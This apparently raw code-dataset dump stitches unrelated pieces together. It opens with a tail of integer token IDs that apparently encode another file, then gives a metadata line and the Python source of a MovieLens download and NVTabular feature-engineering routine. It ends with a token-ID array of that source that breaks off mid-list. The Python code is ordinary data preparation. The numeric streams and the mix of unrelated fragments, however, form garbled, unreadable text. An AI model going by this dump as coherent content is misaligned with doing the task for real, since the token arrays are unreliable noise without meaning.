25411,
2519,
742,
13,
1678,
525,
14095,
29889,
17662,
2519,
29889,
9435,
29889,
18877,
25411,
2519,
742,
13,
1678,
525,
14095,
29889,
17662,
2519,
29889,
2395,
9600,
29889,
29907,
29879,
9600,
1043,
25411,
2519,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
5150,
29889,
17662,
2519,
29889,
16746,
25411,
2519,
742,
13,
1678,
525,
14095,
29889,
21570,
29889,
19158,
29889,
17662,
2519,
29889,
3728,
25411,
2519,
742,
13,
1678,
525,
14095,
29889,
17662,
2519,
29889,
3808,
21452,
292,
29889,
29990,
4308,
5856,
25411,
2519,
742,
13,
29962,
13,
13,
21289,
29918,
4219,
6007,
29943,
353,
525,
3221,
29889,
26045,
29915,
13,
13,
4330,
3580,
29931,
1299,
2890,
353,
518,
13,
1678,
426,
13,
4706,
525,
29933,
11375,
11794,
2396,
525,
14095,
29889,
6886,
29889,
1627,
1975,
29889,
14095,
29889,
29928,
5364,
5776,
9884,
742,
13,
4706,
525,
9464,
29903,
2396,
19997,
13,
4706,
525,
20576,
29918,
9464,
29903,
2396,
5852,
29892,
13,
4706,
525,
14094,
27946,
2396,
426,
13,
9651,
525,
4703,
29918,
5014,
943,
2396,
518,
13,
18884,
525,
14095,
29889,
6886,
29889,
4703,
29918,
5014,
943,
29889,
8382,
742,
13,
18884,
525,
14095,
29889,
6886,
29889,
4703,
29918,
5014,
943,
29889,
3827,
742,
13,
18884,
525,
14095,
29889,
21570,
29889,
5150,
29889,
4703,
29918,
5014,
943,
29889,
5150,
742,
13,
18884,
525,
14095,
29889,
21570,
29889,
19158,
29889,
4703,
29918,
5014,
943,
29889,
19158,
742,
13,
9651,
21251,
13,
4706,
2981,
13,
1678,
2981,
13,
29962,
13,
13,
7811,
29954,
29902,
29918,
3301,
7390,
28541,
353,
525,
3221,
29889,
5652,
3146,
29889,
6214,
29915,
13,
13,
13,
29937,
25280,
8845,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29896,
29889,
29896,
29896,
29914,
999,
29914,
11027,
8484,
5150,
29899,
5630,
29899,
3084,
4097,
13,
13,
29937,
3440,
292,
714,
363,
1887,
5849,
13,
29937,
26524,
29950,
29918,
25711,
17013,
29918,
26707,
1299,
24125,
353,
518,
13,
29937,
268,
426,
13,
29937,
308,
525,
5813,
2396,
525,
14095,
29889,
21570,
29889,
5150,
29889,
5630,
29918,
18157,
29889,
2659,
6708,
8942,
2327,
537,
24204,
742,
13,
29937,
268,
2981,
13,
29937,
268,
426,
13,
29937,
308,
525,
5813,
2396,
525,
14095,
29889,
21570,
29889,
5150,
29889,
5630,
29918,
18157,
29889,
8140,
12539,
6513,
24204,
742,
13,
29937,
268,
2981,
13,
29937,
268,
426,
13,
29937,
308,
525,
5813,
2396,
525,
14095,
29889,
21570,
29889,
5150,
29889,
5630,
29918,
18157,
29889,
18877,
10048,
24204,
742,
13,
29937,
268,
2981,
13,
29937,
268,
426,
13,
29937,
308,
525,
5813,
2396,
525,
14095,
29889,
21570,
29889,
5150,
29889,
5630,
29918,
18157,
29889,
29940,
25099,
10048,
24204,
742,
13,
29937,
268,
2981,
13,
29937,
4514,
13,
13,
13,
29937,
4623,
2133,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29896,
29889,
29896,
29896,
29914,
3332,
1199,
29914,
29875,
29896,
29947,
29876,
29914,
13,
13,
29931,
19453,
29965,
10461,
29918,
16524,
353,
525,
264,
29899,
375,
29915,
13,
13,
15307,
29918,
29999,
12413,
353,
525,
26913,
29915,
13,
13,
17171,
29918,
29902,
29896,
29947,
29940,
353,
5852,
13,
13,
17171,
29918,
29931,
29896,
29900,
29940,
353,
5852,
13,
13,
17171,
29918,
29911,
29999,
353,
5852,
13,
13,
13,
29937,
624,
2454,
2066,
313,
19407,
29892,
8286,
29892,
1954,
1179,
29897,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29896,
29889,
29896,
29896,
29914,
3525,
517,
29914,
7959,
29899,
5325,
29914,
13,
13,
17816,
2965,
29918,
4219,
353,
8207,
7959,
22208,
13,
13,
29937,
5470,
13,
29937,
2045,
597,
2640,
29889,
19776,
574,
26555,
622,
29889,
510,
29914,
264,
29914,
29896,
29889,
29896,
29896,
29914,
999,
29914,
11027,
8484,
29503,
2129,
13,
13,
25832,
27982,
29903,
353,
426,
13,
1678,
525,
4381,
2396,
426,
13,
4706,
525,
1430,
29954,
8895,
2396,
8829,
1839,
4051,
29918,
1430,
29954,
8895,
1649,
23397,
7464,
13,
4706,
525,
5813,
2396,
8829,
1839,
4051,
29918,
5813,
1649,
23397,
7464,
13,
4706,
525,
11889,
2396,
8829,
1839,
4051,
29918,
11889,
1649,
23397,
7464,
13,
4706,
525,
25711,
17013,
2396,
8829,
1839,
4051,
29918,
25711,
17013,
1649,
23397,
7464,
13,
4706,
525,
20832,
2396,
8829,
1839,
4051,
29918,
20832,
1649,
23397,
7464,
13,
4706,
525,
15082,
2396,
8829,
1839,
4051,
29918,
15082,
1649,
23397,
2033,
13,
1678,
500,
13,
29913,
13,
13,
29937,
304,
367,
6206,
2678,
1192,
6166,
701,
2322,
11239,
13,
1525,
1254,
29918,
29943,
4717,
2303,
11686,
29968,
353,
426,
13,
1678,
396,
4803,
15337,
29915,
29879,
3918,
421,
14095,
29889,
21570,
29889,
5150,
29952,
11239,
29892,
13,
1678,
396,
470,
2758,
1303,
29899,
6194,
2130,
363,
1185,
2806,
4173,
630,
4160,
29889,
13,
1678,
396,
29915,
23397,
29918,
3738,
29931,
4945,
29918,
29933,
11375,
1430,
8452,
2396,
6702,
14095,
29918,
26705,
29889,
5060,
29918,
4468,
29889,
29928,
5364,
5072,
5841,
355,
742,
511,
13,
1678,
525,
23397,
29918,
13171,
10403,
13507,
29918,
6154,
3289,
1660,
29903,
2396,
518,
13,
4706,
396,
525,
5060,
29918,
4468,
29889,
17858,
6847,
29889,
29928,
5364,
3195,
15737,
6847,
2816,
2744,
265,
6359,
11730,
29915,
13,
1678,
21251,
13,
1678,
525,
23397,
29918,
7228,
29954,
1177,
8098,
29918,
13875,
1799,
2396,
525,
5060,
29918,
4468,
29889,
13573,
3381,
29889,
24445,
10302,
29925,
351,
3381,
742,
13,
29913,
13,
2
] |
merlin/models/data/movielens.py | rhdong/models | 0 | 54567 | import logging
import os
import shutil
from os import path
import numpy as np
import nvtabular as nvt
import pandas as pd
from nvtabular import ops
import merlin.io
# Get dataframe library - cudf or pandas
from merlin.core.dispatch import get_lib
from merlin.core.utils import download_file
df_lib = get_lib()
logging.basicConfig()
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
def get_movielens(path=None, variant="ml-25m"):
"""Gets the movielens dataset for use with merlin-models
This function will return a tuple of train/test merlin.io.Dataset objects for the
movielens dataset. This will download the movielens dataset locally if needed,
and run a ETL pipeline with NVTabular to make this dataset ready for use with
merlin-models.
Parameters
----------
path : str
The path to download the files locally to. If not set will default to
the 'merlin-models-data` directory in your home folder
variant : "ml-25m" or "ml-100k"
Which variant of the movielens dataset to use. Must be either "ml-25m" or "ml-100k"
Returns
-------
tuple
A tuple consisting of a merlin.io.Dataset for the training dataset and validation dataset
"""
if path is None:
path = os.environ.get(
"INPUT_DATA_DIR", os.path.expanduser("~/merlin-models-data/movielens/")
)
variant_path = os.path.join(path, variant)
if not os.path.exists(variant_path):
os.makedirs(variant_path)
movielens_download_etl(path, variant)
train = merlin.io.Dataset(os.path.join(variant_path, "train"), engine="parquet")
valid = merlin.io.Dataset(os.path.join(variant_path, "valid"), engine="parquet")
return train, valid
def movielens_download_etl(local_filename, name="ml-25m", outputdir=None):
"""This funct does the preliminary preprocessing on movielens dataset
and converts the csv files to parquet files and saves to disk. Then,
using NVTabular, it does feature engineering on the parquet files
and saves the processed files to disk.
Parameters
----------
local_filename : str
path for downloading the raw dataset in and storing the converted
parquet files.
name : str
The name of the Movielens dataset. Currently Movielens 25M and
Movielens 100k datasets are supported.
outputdir : str, optional
path for saving the processed parquet files generated from NVTabular
workflow. If not provided, local_filename is used as outputdir.
"""
local_filename = os.path.abspath(local_filename)
if outputdir is None:
outputdir = local_filename
if name == "ml-25m":
download_file(
"http://files.grouplens.org/datasets/movielens/ml-25m.zip",
os.path.join(local_filename, "ml-25m.zip"),
)
movies = df_lib.read_csv(os.path.join(local_filename, name, "movies.csv"))
movies["genres"] = movies["genres"].str.split("|")
movies.to_parquet(os.path.join(local_filename, name, "movies_converted.parquet"))
ratings = df_lib.read_csv(os.path.join(local_filename, name, "ratings.csv"))
# shuffle the dataset
ratings = ratings.sample(len(ratings), replace=False)
# split the train_df as training and validation data sets.
num_valid = int(len(ratings) * 0.2)
train = ratings[:-num_valid]
valid = ratings[-num_valid:]
train.to_parquet(os.path.join(local_filename, name, "train.parquet"))
valid.to_parquet(os.path.join(local_filename, name, "valid.parquet"))
logger.info("starting ETL..")
# NVTabular pipeline
movies = df_lib.read_parquet(os.path.join(local_filename, name, "movies_converted.parquet"))
joined = ["userId", "movieId"] >> ops.JoinExternal(movies, on=["movieId"])
cat_features = joined >> ops.Categorify(dtype="int32")
label = nvt.ColumnSelector(["rating"])
# Columns to apply to
cats = nvt.ColumnSelector(["movieId"])
# Target Encode movieId column
te_features = cats >> ops.TargetEncoding(label, kfold=5, p_smooth=20)
te_features_norm = te_features >> ops.NormalizeMinMax()
# count encode `userId`
count_logop_feat = (
["userId"] >> ops.JoinGroupby(cont_cols=["movieId"], stats=["count"]) >> ops.LogOp()
)
feats_item = cat_features["movieId"] >> ops.AddMetadata(tags=["item_id", "item"])
feats_user = cat_features["userId"] >> ops.AddMetadata(tags=["user_id", "user"])
feats_genres = cat_features["genres"] >> ops.AddMetadata(tags=["item"])
feats_target = (
nvt.ColumnSelector(["rating"])
>> ops.LambdaOp(lambda col: (col > 3).astype("int32"))
>> ops.AddMetadata(tags=["binary_classification", "target"])
>> nvt.ops.Rename(name="rating_binary")
)
target_orig = (
["rating"]
>> ops.LambdaOp(lambda col: col.astype("float32"))
>> ops.AddMetadata(tags=["regression", "target"])
)
workflow = nvt.Workflow(
feats_item
+ feats_user
+ feats_genres
+ te_features_norm
+ count_logop_feat
+ target_orig
+ feats_target
+ joined["title"]
)
elif name == "ml-100k":
download_file(
"http://files.grouplens.org/datasets/movielens/ml-100k.zip",
os.path.join(local_filename, "ml-100k.zip"),
)
logger.info("starting ETL..")
ratings = pd.read_csv(
os.path.join(local_filename, "ml-100k/u.data"),
names=["userId", "movieId", "rating", "timestamp"],
sep="\t",
)
user_features = pd.read_csv(
os.path.join(local_filename, "ml-100k/u.user"),
names=["userId", "age", "gender", "occupation", "zip_code"],
sep="|",
)
user_features.to_parquet(os.path.join(local_filename, "ml-100k/user_features.parquet"))
cols = [
"movieId",
"title",
"release_date",
"video_release_date",
"imdb_URL",
"unknown",
"Action",
"Adventure",
"Animation",
"Childrens",
"Comedy",
"Crime",
"Documentary",
"Drama",
"Fantasy",
"Film_Noir",
"Horror",
"Musical",
"Mystery",
"Romance",
"Sci-Fi",
"Thriller",
"War",
"Western",
]
genres_ = [
"unknown",
"Action",
"Adventure",
"Animation",
"Childrens",
"Comedy",
"Crime",
"Documentary",
"Drama",
"Fantasy",
"Film_Noir",
"Horror",
"Musical",
"Mystery",
"Romance",
"Sci-Fi",
"Thriller",
"War",
"Western",
]
movies = pd.read_csv(
os.path.join(local_filename, "ml-100k/u.item"), names=cols, sep="|", encoding="latin1"
)
for col in genres_:
movies[col] = movies[col].replace(1, col)
movies[col] = movies[col].replace(0, np.nan)
s = movies[genres_]
s.notnull()
movies["genres"] = s.notnull().dot(s.columns + ",").str[:-1]
movies_converted = movies[
["movieId", "title", "release_date", "video_release_date", "genres", "imdb_URL"]
]
movies_converted.to_parquet(
os.path.join(local_filename, "ml-100k/movies_converted.parquet")
)
train = pd.read_csv(
os.path.join(local_filename, "ml-100k/ua.base"),
names=["userId", "movieId", "rating", "timestamp"],
sep="\t",
)
valid = pd.read_csv(
os.path.join(local_filename, "ml-100k/ua.test"),
names=["userId", "movieId", "rating", "timestamp"],
sep="\t",
)
train = train.merge(user_features, on="userId", how="left")
train = train.merge(movies_converted, on="movieId", how="left")
valid = valid.merge(user_features, on="userId", how="left")
valid = valid.merge(movies_converted, on="movieId", how="left")
train.to_parquet(os.path.join(local_filename, "ml-100k/train.parquet"))
valid.to_parquet(os.path.join(local_filename, "ml-100k/valid.parquet"))
cat_features = [
"userId",
"movieId",
"gender",
"occupation",
"zip_code",
"genres",
] >> nvt.ops.Categorify(dtype="int32")
cont_names = ["age"]
boundaries = {"age": [0, 10, 20, 30, 40, 50, 60, 70, 80, 90]}
age_bucket = cont_names >> ops.Bucketize(boundaries) >> ops.AddMetadata(tags=["user"])
label = nvt.ColumnSelector(["rating"])
# Target Encode movieId column
te_features = ["movieId"] >> ops.TargetEncoding(label, kfold=5, p_smooth=20)
te_features_norm = te_features >> ops.NormalizeMinMax()
# count encode `userId`
count_logop_feat = (
["userId"] >> ops.JoinGroupby(cont_cols=["movieId"], stats=["count"]) >> ops.LogOp()
)
feats_item = cat_features["movieId"] >> ops.AddMetadata(tags=["item_id", "item"])
feats_user = cat_features["userId"] >> ops.AddMetadata(tags=["user_id", "user"])
feats_genres = cat_features["genres"] >> ops.AddMetadata(tags=["item"])
user_features = cat_features["gender", "zip_code"] >> ops.AddMetadata(tags=["user"])
feats_target = (
nvt.ColumnSelector(["rating"])
>> ops.LambdaOp(lambda col: (col > 3).astype("int32"))
>> ops.AddMetadata(tags=["binary_classification", "target"])
>> nvt.ops.Rename(name="rating_binary")
)
target_orig = ["rating"] >> ops.AddMetadata(tags=["regression", "target"])
workflow = nvt.Workflow(
feats_item
+ feats_user
+ feats_genres
+ te_features_norm
+ count_logop_feat
+ user_features
+ target_orig
+ feats_target
+ age_bucket
+ ["title"]
)
else:
raise ValueError(
"Unknown dataset name. Only Movielens 25M and 100k datasets are supported."
)
train_dataset = nvt.Dataset([os.path.join(local_filename, name, "train.parquet")])
valid_dataset = nvt.Dataset([os.path.join(local_filename, name, "valid.parquet")])
if path.exists(os.path.join(local_filename, name, "train")):
shutil.rmtree(os.path.join(local_filename, name, "train"))
if path.exists(os.path.join(local_filename, name, "valid")):
shutil.rmtree(os.path.join(local_filename, name, "valid"))
workflow.fit(train_dataset)
workflow.transform(train_dataset).to_parquet(
output_path=os.path.join(outputdir, name, "train"),
out_files_per_proc=1,
shuffle=False,
)
workflow.transform(valid_dataset).to_parquet(
output_path=os.path.join(outputdir, name, "valid"),
out_files_per_proc=1,
shuffle=False,
)
# Save the workflow
workflow.save(os.path.join(outputdir, name, "workflow"))
logger.info("saving the workflow..")
| [
1,
1053,
12183,
13,
5215,
2897,
13,
5215,
528,
4422,
13,
3166,
2897,
1053,
2224,
13,
13,
5215,
12655,
408,
7442,
13,
5215,
302,
29894,
9456,
408,
302,
21908,
13,
5215,
11701,
408,
10518,
13,
3166,
302,
29894,
9456,
1053,
288,
567,
13,
13,
5215,
2778,
1915,
29889,
601,
13,
13,
29937,
3617,
12205,
3489,
448,
274,
566,
29888,
470,
11701,
13,
3166,
2778,
1915,
29889,
3221,
29889,
13369,
1053,
679,
29918,
1982,
13,
3166,
2778,
1915,
29889,
3221,
29889,
13239,
1053,
5142,
29918,
1445,
13,
13,
2176,
29918,
1982,
353,
679,
29918,
1982,
580,
13,
13,
21027,
29889,
16121,
3991,
580,
13,
21707,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
21707,
29889,
842,
10108,
29898,
21027,
29889,
11690,
29897,
13,
13,
13,
1753,
679,
29918,
13529,
709,
575,
29898,
2084,
29922,
8516,
29892,
17305,
543,
828,
29899,
29906,
29945,
29885,
29908,
1125,
13,
1678,
9995,
29954,
1691,
278,
2351,
709,
575,
8783,
363,
671,
411,
2778,
1915,
29899,
9794,
13,
13,
1678,
910,
740,
674,
736,
263,
18761,
310,
7945,
29914,
1688,
2778,
1915,
29889,
601,
29889,
16390,
24541,
3618,
363,
278,
13,
1678,
2351,
709,
575,
8783,
29889,
910,
674,
5142,
278,
2351,
709,
575,
8783,
12430,
565,
4312,
29892,
13,
1678,
322,
1065,
263,
382,
14632,
16439,
411,
405,
29963,
8863,
1070,
304,
1207,
445,
8783,
7960,
363,
671,
411,
13,
1678,
2778,
1915,
29899,
9794,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
2224,
584,
851,
13,
4706,
450,
2224,
304,
5142,
278,
2066,
12430,
304,
29889,
960,
451,
731,
674,
2322,
304,
13,
4706,
278,
525,
1050,
1915,
29899,
9794,
29899,
1272,
29952,
3884,
297,
596,
3271,
4138,
13,
1678,
17305,
584,
376,
828,
29899,
29906,
29945,
29885,
29908,
470,
376,
828,
29899,
29896,
29900,
29900,
29895,
29908,
13,
4706,
8449,
17305,
310,
278,
2351,
709,
575,
8783,
304,
671,
29889,
19928,
367,
2845,
376,
828,
29899,
29906,
29945,
29885,
29908,
470,
376,
828,
29899,
29896,
29900,
29900,
29895,
29908,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
18761,
13,
4706,
319,
18761,
19849,
310,
263,
2778,
1915,
29889,
601,
29889,
16390,
24541,
363,
278,
6694,
8783,
322,
8845,
8783,
13,
1678,
9995,
13,
1678,
565,
2224,
338,
6213,
29901,
13,
4706,
2224,
353,
2897,
29889,
21813,
29889,
657,
29898,
13,
9651,
376,
1177,
12336,
29918,
14573,
29918,
9464,
613,
2897,
29889,
2084,
29889,
18837,
1792,
703,
20038,
1050,
1915,
29899,
9794,
29899,
1272,
29914,
13529,
709,
575,
29914,
1159,
13,
4706,
1723,
13,
13,
1678,
17305,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2084,
29892,
17305,
29897,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
19365,
29918,
2084,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
19365,
29918,
2084,
29897,
13,
4706,
2351,
709,
575,
29918,
10382,
29918,
300,
29880,
29898,
2084,
29892,
17305,
29897,
13,
13,
1678,
7945,
353,
2778,
1915,
29889,
601,
29889,
16390,
24541,
29898,
359,
29889,
2084,
29889,
7122,
29898,
19365,
29918,
2084,
29892,
376,
14968,
4968,
6012,
543,
862,
12621,
1159,
13,
1678,
2854,
353,
2778,
1915,
29889,
601,
29889,
16390,
24541,
29898,
359,
29889,
2084,
29889,
7122,
29898,
19365,
29918,
2084,
29892,
376,
3084,
4968,
6012,
543,
862,
12621,
1159,
13,
1678,
736,
7945,
29892,
2854,
13,
13,
13,
1753,
2351,
709,
575,
29918,
10382,
29918,
300,
29880,
29898,
2997,
29918,
9507,
29892,
1024,
543,
828,
29899,
29906,
29945,
29885,
613,
1962,
3972,
29922,
8516,
1125,
13,
1678,
9995,
4013,
2090,
312,
947,
278,
758,
2576,
3821,
758,
19170,
373,
2351,
709,
575,
8783,
13,
1678,
322,
29436,
278,
11799,
2066,
304,
610,
12621,
2066,
322,
27401,
304,
8086,
29889,
1987,
29892,
13,
1678,
773,
405,
29963,
8863,
1070,
29892,
372,
947,
4682,
21639,
373,
278,
610,
12621,
2066,
13,
1678,
322,
27401,
278,
19356,
2066,
304,
8086,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
1887,
29918,
9507,
584,
851,
13,
4706,
2224,
363,
28536,
278,
10650,
8783,
297,
322,
15446,
278,
11543,
13,
4706,
610,
12621,
2066,
29889,
13,
1678,
1024,
584,
851,
13,
4706,
450,
1024,
310,
278,
14104,
709,
575,
8783,
29889,
15447,
14104,
709,
575,
29871,
29906,
29945,
29924,
322,
13,
4706,
14104,
709,
575,
29871,
29896,
29900,
29900,
29895,
20035,
526,
6969,
29889,
13,
1678,
1962,
3972,
584,
851,
29892,
13136,
13,
4706,
2224,
363,
14238,
278,
19356,
610,
12621,
2066,
5759,
515,
405,
29963,
8863,
1070,
13,
4706,
27321,
29889,
960,
451,
4944,
29892,
1887,
29918,
9507,
338,
1304,
408,
1962,
3972,
29889,
13,
1678,
9995,
13,
1678,
1887,
29918,
9507,
353,
2897,
29889,
2084,
29889,
370,
1028,
493,
29898,
2997,
29918,
9507,
29897,
13,
1678,
565,
1962,
3972,
338,
6213,
29901,
13,
4706,
1962,
3972,
353,
1887,
29918,
9507,
13,
1678,
565,
1024,
1275,
376,
828,
29899,
29906,
29945,
29885,
1115,
13,
4706,
5142,
29918,
1445,
29898,
13,
9651,
376,
1124,
597,
5325,
29889,
629,
283,
572,
575,
29889,
990,
29914,
14538,
1691,
29914,
13529,
709,
575,
29914,
828,
29899,
29906,
29945,
29885,
29889,
7554,
613,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29906,
29945,
29885,
29889,
7554,
4968,
13,
4706,
1723,
13,
4706,
2351,
583,
353,
4489,
29918,
1982,
29889,
949,
29918,
7638,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
13529,
583,
29889,
7638,
5783,
13,
4706,
2351,
583,
3366,
1885,
690,
3108,
353,
2351,
583,
3366,
1885,
690,
16862,
710,
29889,
5451,
703,
29989,
1159,
13,
4706,
2351,
583,
29889,
517,
29918,
862,
12621,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
13529,
583,
29918,
13441,
287,
29889,
862,
12621,
5783,
13,
4706,
26838,
353,
4489,
29918,
1982,
29889,
949,
29918,
7638,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
3605,
886,
29889,
7638,
5783,
13,
4706,
396,
528,
21897,
278,
8783,
13,
4706,
26838,
353,
26838,
29889,
11249,
29898,
2435,
29898,
3605,
886,
511,
5191,
29922,
8824,
29897,
13,
4706,
396,
6219,
278,
7945,
29918,
2176,
408,
6694,
322,
8845,
848,
6166,
29889,
13,
4706,
954,
29918,
3084,
353,
938,
29898,
2435,
29898,
3605,
886,
29897,
334,
29871,
29900,
29889,
29906,
29897,
13,
4706,
7945,
353,
26838,
7503,
29899,
1949,
29918,
3084,
29962,
13,
4706,
2854,
353,
26838,
14352,
1949,
29918,
3084,
17531,
13,
4706,
7945,
29889,
517,
29918,
862,
12621,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
14968,
29889,
862,
12621,
5783,
13,
4706,
2854,
29889,
517,
29918,
862,
12621,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
3084,
29889,
862,
12621,
5783,
13,
13,
4706,
17927,
29889,
3888,
703,
2962,
292,
382,
14632,
636,
1159,
13,
13,
4706,
396,
405,
29963,
8863,
1070,
16439,
13,
4706,
2351,
583,
353,
4489,
29918,
1982,
29889,
949,
29918,
862,
12621,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
1024,
29892,
376,
13529,
583,
29918,
13441,
287,
29889,
862,
12621,
5783,
13,
4706,
8772,
353,
6796,
29721,
613,
376,
27362,
1204,
3108,
5099,
288,
567,
29889,
17242,
25865,
29898,
13529,
583,
29892,
373,
29922,
3366,
27362,
1204,
20068,
13,
4706,
6635,
29918,
22100,
353,
8772,
5099,
288,
567,
29889,
29907,
20440,
1598,
29898,
29881,
1853,
543,
524,
29941,
29906,
1159,
13,
4706,
3858,
353,
302,
21908,
29889,
4409,
10378,
29898,
3366,
29741,
20068,
13,
13,
4706,
396,
12481,
29879,
304,
3394,
304,
13,
4706,
274,
1446,
353,
302,
21908,
29889,
4409,
10378,
29898,
3366,
27362,
1204,
20068,
13,
13,
4706,
396,
17157,
1174,
401,
14064,
1204,
1897,
13,
4706,
734,
29918,
22100,
353,
274,
1446,
5099,
288,
567,
29889,
8667,
14934,
29898,
1643,
29892,
413,
8771,
29922,
29945,
29892,
282,
29918,
3844,
6983,
29922,
29906,
29900,
29897,
13,
4706,
734,
29918,
22100,
29918,
12324,
353,
734,
29918,
22100,
5099,
288,
567,
29889,
19077,
675,
8140,
7976,
580,
13,
13,
4706,
396,
2302,
19750,
421,
29721,
29952,
13,
4706,
2302,
29918,
1188,
459,
29918,
1725,
271,
353,
313,
13,
9651,
6796,
29721,
3108,
5099,
288,
567,
29889,
17242,
4782,
1609,
29898,
1285,
29918,
22724,
29922,
3366,
27362,
1204,
12436,
22663,
29922,
3366,
2798,
20068,
5099,
288,
567,
29889,
3403,
11746,
580,
13,
4706,
1723,
13,
4706,
1238,
1446,
29918,
667,
353,
6635,
29918,
22100,
3366,
27362,
1204,
3108,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
667,
29918,
333,
613,
376,
667,
20068,
13,
4706,
1238,
1446,
29918,
1792,
353,
6635,
29918,
22100,
3366,
29721,
3108,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
1792,
29918,
333,
613,
376,
1792,
20068,
13,
4706,
1238,
1446,
29918,
1885,
690,
353,
6635,
29918,
22100,
3366,
1885,
690,
3108,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
667,
20068,
13,
13,
4706,
1238,
1446,
29918,
5182,
353,
313,
13,
9651,
302,
21908,
29889,
4409,
10378,
29898,
3366,
29741,
20068,
13,
9651,
5099,
288,
567,
29889,
9099,
11746,
29898,
2892,
784,
29901,
313,
1054,
1405,
29871,
29941,
467,
579,
668,
703,
524,
29941,
29906,
5783,
13,
9651,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
19541,
29918,
1990,
2450,
613,
376,
5182,
20068,
13,
9651,
5099,
302,
21908,
29889,
3554,
29889,
29934,
3871,
29898,
978,
543,
29741,
29918,
19541,
1159,
13,
4706,
1723,
13,
4706,
3646,
29918,
12683,
353,
313,
13,
9651,
6796,
29741,
3108,
13,
9651,
5099,
288,
567,
29889,
9099,
11746,
29898,
2892,
784,
29901,
784,
29889,
579,
668,
703,
7411,
29941,
29906,
5783,
13,
9651,
5099,
288,
567,
29889,
2528,
18417,
29898,
11338,
29922,
3366,
276,
11476,
613,
376,
5182,
20068,
13,
4706,
1723,
13,
4706,
27321,
353,
302,
21908,
29889,
5531,
1731,
29898,
13,
9651,
1238,
1446,
29918,
667,
13,
9651,
718,
1238,
1446,
29918,
1792,
13,
9651,
718,
1238,
1446,
29918,
1885,
690,
13,
9651,
718,
734,
29918,
22100,
29918,
12324,
13,
9651,
718,
2302,
29918,
1188,
459,
29918,
1725,
271,
13,
9651,
718,
3646,
29918,
12683,
13,
9651,
718,
1238,
1446,
29918,
5182,
13,
9651,
718,
8772,
3366,
3257,
3108,
13,
4706,
1723,
13,
13,
1678,
25342,
1024,
1275,
376,
828,
29899,
29896,
29900,
29900,
29895,
1115,
13,
4706,
5142,
29918,
1445,
29898,
13,
9651,
376,
1124,
597,
5325,
29889,
629,
283,
572,
575,
29889,
990,
29914,
14538,
1691,
29914,
13529,
709,
575,
29914,
828,
29899,
29896,
29900,
29900,
29895,
29889,
7554,
613,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29889,
7554,
4968,
13,
4706,
1723,
13,
4706,
17927,
29889,
3888,
703,
2962,
292,
382,
14632,
636,
1159,
13,
4706,
26838,
353,
10518,
29889,
949,
29918,
7638,
29898,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29914,
29884,
29889,
1272,
4968,
13,
9651,
2983,
29922,
3366,
29721,
613,
376,
27362,
1204,
613,
376,
29741,
613,
376,
16394,
12436,
13,
9651,
16345,
543,
29905,
29873,
613,
13,
4706,
1723,
13,
4706,
1404,
29918,
22100,
353,
10518,
29889,
949,
29918,
7638,
29898,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29914,
29884,
29889,
1792,
4968,
13,
9651,
2983,
29922,
3366,
29721,
613,
376,
482,
613,
376,
26098,
613,
376,
26601,
613,
376,
7554,
29918,
401,
12436,
13,
9651,
16345,
543,
29989,
613,
13,
4706,
1723,
13,
4706,
1404,
29918,
22100,
29889,
517,
29918,
862,
12621,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2997,
29918,
9507,
29892,
376,
828,
29899,
29896,
29900,
29900,
29895,
29914,
1792,
29918,
22100,
29889,
862,
12621,
5783,
13,
4706,
28730,
353,
518,
13,
9651,
376,
27362,
1204,
613,
13,
9651,
376,
3257,
613,
13,
9651,
376,
14096,
29918,
1256,
613,
13,
9651,
376,
9641,
29918,
14096,
29918,
1256,
613,
13,
9651,
376,
326,
2585,
29918,
4219,
613,
13,
9651,
376,
26690,
613,
13,
9651,
376,
4276,
613,
13,
9651,
376,
3253,
794,
545,
613,
13,
9651,
376,
13579,
613,
13,
9651,
376,
5938,
29878,
575,
613,
13,
9651,
376,
1523,
7584,
613,
13,
9651,
376,
20647,
603,
613,
13,
9651,
376,
6268,
653,
613,
13,
9651,
376,
29928,
20556,
613,
13,
9651,
376,
29943,
424,
8995,
613,
13,
9651,
376,
3434,
29885,
29918,
3782,
381,
613,
13,
9651,
376,
17241,
729,
613,
13,
9651,
376,
14958,
936,
613,
13,
9651,
376,
29924,
858,
708,
613,
13,
9651,
376,
29934,
290,
749,
613,
13,
9651,
376,
29903,
455,
